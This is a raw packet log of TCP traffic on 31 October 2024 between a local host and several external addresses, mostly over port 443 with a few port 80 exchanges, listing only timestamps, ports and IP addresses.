Oct 31, 2024 03:04:29.037585020 CET	49842	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.037614107 CET	443	49842	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.037889957 CET	49842	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.038245916 CET	49842	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.038263083 CET	443	49842	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.043248892 CET	443	49835	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.043652058 CET	443	49835	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.043668032 CET	443	49836	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.043716908 CET	49835	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.043894053 CET	49835	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.043903112 CET	443	49835	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.043914080 CET	49835	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.043917894 CET	443	49835	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.043988943 CET	443	49836	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.044085979 CET	49836	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.044903040 CET	49836	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.044914007 CET	443	49836	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.044924974 CET	49836	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.044929981 CET	443	49836	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.047007084 CET	49843	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.047064066 CET	443	49843	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.047202110 CET	49843	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.048214912 CET	49844	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.048252106 CET	443	49844	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.048342943 CET	49843	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.048373938 CET	443	49843	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.048449993 CET	49844	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.048518896 CET	49844	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.048547983 CET	443	49844	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.066477060 CET	443	49840	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.066823006 CET	49840	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.066829920 CET	443	49840	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.067882061 CET	443	49840	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.067949057 CET	49840	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.068363905 CET	49840	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.068424940 CET	443	49840	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.068573952 CET	49840	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.068579912 CET	443	49840	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.080248117 CET	49845	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.080264091 CET	443	49845	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.080493927 CET	49845	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.080666065 CET	49846	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.080692053 CET	443	49846	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.080760002 CET	49846	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.080929041 CET	49846	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.080955982 CET	443	49846	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.081033945 CET	49845	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.081043959 CET	443	49845	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.082406044 CET	443	49841	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.082613945 CET	49841	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.082649946 CET	443	49841	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.082812071 CET	443	49838	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.083234072 CET	49838	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.083245039 CET	443	49838	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.083678007 CET	443	49841	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.083705902 CET	49838	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.083709955 CET	443	49838	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.083745956 CET	49841	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.084067106 CET	49841	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.084145069 CET	443	49841	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.084172010 CET	49841	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.112085104 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.112116098 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.112164021 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.112184048 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.112195015 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.112195015 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.112201929 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.112210989 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.112219095 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.112240076 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.112248898 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.112294912 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.115571022 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.115578890 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.115607977 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.115617990 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.115628958 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.115643024 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.115654945 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.115664005 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.115681887 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.115699053 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.118280888 CET	443	49839	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:29.118355036 CET	49839	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:29.118544102 CET	49839	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:29.118566036 CET	443	49839	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:29.131352901 CET	443	49841	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.134241104 CET	49840	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.197386026 CET	443	49840	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.197451115 CET	443	49840	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.197566986 CET	49840	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.197617054 CET	49840	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.197626114 CET	443	49840	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.210220098 CET	443	49838	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.210390091 CET	443	49838	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.210448027 CET	49838	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.210625887 CET	49838	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.210633993 CET	443	49838	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.210643053 CET	49838	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.210649014 CET	443	49838	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.212845087 CET	443	49841	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.213104963 CET	49841	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.213253021 CET	49841	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.213269949 CET	443	49841	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.214131117 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.214140892 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.214221001 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.214380980 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.214394093 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.230873108 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.230902910 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.230951071 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.230990887 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.230990887 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.230999947 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.231029987 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.231046915 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.231107950 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.231173038 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.231247902 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.231254101 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.231393099 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.231517076 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.231976986 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.231991053 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.232600927 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.232610941 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.232644081 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.232665062 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.232675076 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.232681036 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.232702971 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.232721090 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.240365982 CET	443	49837	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.240712881 CET	443	49837	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.240783930 CET	49837	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.241076946 CET	49837	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.241096973 CET	443	49837	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.241120100 CET	49837	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.241132975 CET	443	49837	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.244050026 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.244086981 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.244184017 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.244559050 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.244573116 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.348972082 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.349001884 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.349047899 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.349066019 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.349087954 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.349109888 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.465765953 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.465786934 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.465861082 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.465882063 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.465965986 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.583038092 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.583058119 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.583101034 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.583118916 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.583163977 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.627104998 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.627120972 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.627188921 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.627197981 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.627289057 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.683856010 CET	443	49846	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.684537888 CET	49846	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.684561968 CET	443	49846	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.684895992 CET	443	49846	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.685422897 CET	49846	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.685496092 CET	443	49846	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.693011045 CET	443	49845	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.693207979 CET	49845	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.693217039 CET	443	49845	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.693533897 CET	443	49845	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.693809986 CET	49845	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.693876982 CET	443	49845	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:29.743587017 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.743608952 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.743673086 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.743689060 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.743762016 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.743972063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:29.744023085 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:29.775928020 CET	443	49843	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.776767969 CET	49843	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.776809931 CET	443	49843	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.777399063 CET	49843	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.777410984 CET	443	49843	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.778693914 CET	443	49842	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.779081106 CET	49842	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.779104948 CET	443	49842	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.779545069 CET	49842	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.779552937 CET	443	49842	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.813374043 CET	443	49844	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.814585924 CET	49844	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.814630032 CET	443	49844	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.820514917 CET	49844	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.820530891 CET	443	49844	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.821472883 CET	49846	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.837447882 CET	49845	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:29.840537071 CET	49849	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:29.840569973 CET	443	49849	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:29.840653896 CET	49849	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:29.840842962 CET	49849	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:29.840857029 CET	443	49849	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:29.859869957 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.859885931 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.859936953 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.859951973 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.859994888 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.904690027 CET	443	49843	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.904779911 CET	443	49843	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.904994965 CET	49843	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.905174971 CET	49843	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.905208111 CET	443	49843	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.905234098 CET	49843	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.905247927 CET	443	49843	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.908987999 CET	443	49842	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.909130096 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.909158945 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.909286022 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.909584045 CET	443	49842	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.909645081 CET	49842	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.909693956 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.909703970 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.910119057 CET	49842	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.910130978 CET	443	49842	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.910141945 CET	49842	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.910146952 CET	443	49842	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.913952112 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.913974047 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.914048910 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.914192915 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.914201975 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.952920914 CET	443	49844	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.953144073 CET	443	49844	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.953231096 CET	49844	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.953830004 CET	49844	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.953874111 CET	443	49844	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.953900099 CET	49844	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.953915119 CET	443	49844	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.975467920 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.976310968 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.976325989 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.976381063 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.976397038 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.976505041 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.980662107 CET	49852	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.980686903 CET	443	49852	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.980763912 CET	49852	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.981206894 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.981220007 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.981857061 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.981863022 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.983915091 CET	49852	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.983922958 CET	443	49852	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.985117912 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.985446930 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.985460043 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:29.986062050 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:29.986066103 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.018564939 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.018580914 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.018644094 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.018659115 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.018695116 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.093888998 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.093908072 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.093988895 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.094002008 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.096491098 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.105695009 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.105838060 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.105921030 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.106170893 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.106184959 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.106204033 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.106209040 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.119760990 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.119935036 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.119990110 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.128043890 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.128087044 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.128161907 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.128710032 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.128717899 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.128726959 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.128731012 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.136477947 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.136497021 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.137779951 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.137804985 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.137870073 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.145278931 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.145294905 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.210457087 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.210473061 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.210515022 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.210529089 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.210551977 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.210568905 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.282680035 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.282700062 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.282740116 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.282756090 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.282773972 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.282793045 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.293770075 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.298576117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.328325987 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.328346968 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.328377962 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.328392029 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.328414917 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.328430891 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.444025993 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.444041967 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.444098949 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.444113016 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.444133043 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.444154978 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.485297918 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.485313892 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.485364914 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.485378027 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.485397100 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.485419035 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.503602028 CET	443	49849	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:30.504045010 CET	49849	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:30.504057884 CET	443	49849	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:30.504400015 CET	443	49849	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:30.504815102 CET	49849	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:30.504899979 CET	443	49849	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:30.505094051 CET	49849	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:30.505106926 CET	49849	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:30.505117893 CET	443	49849	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:30.561162949 CET	443	49833	13.107.246.45	192.168.2.5
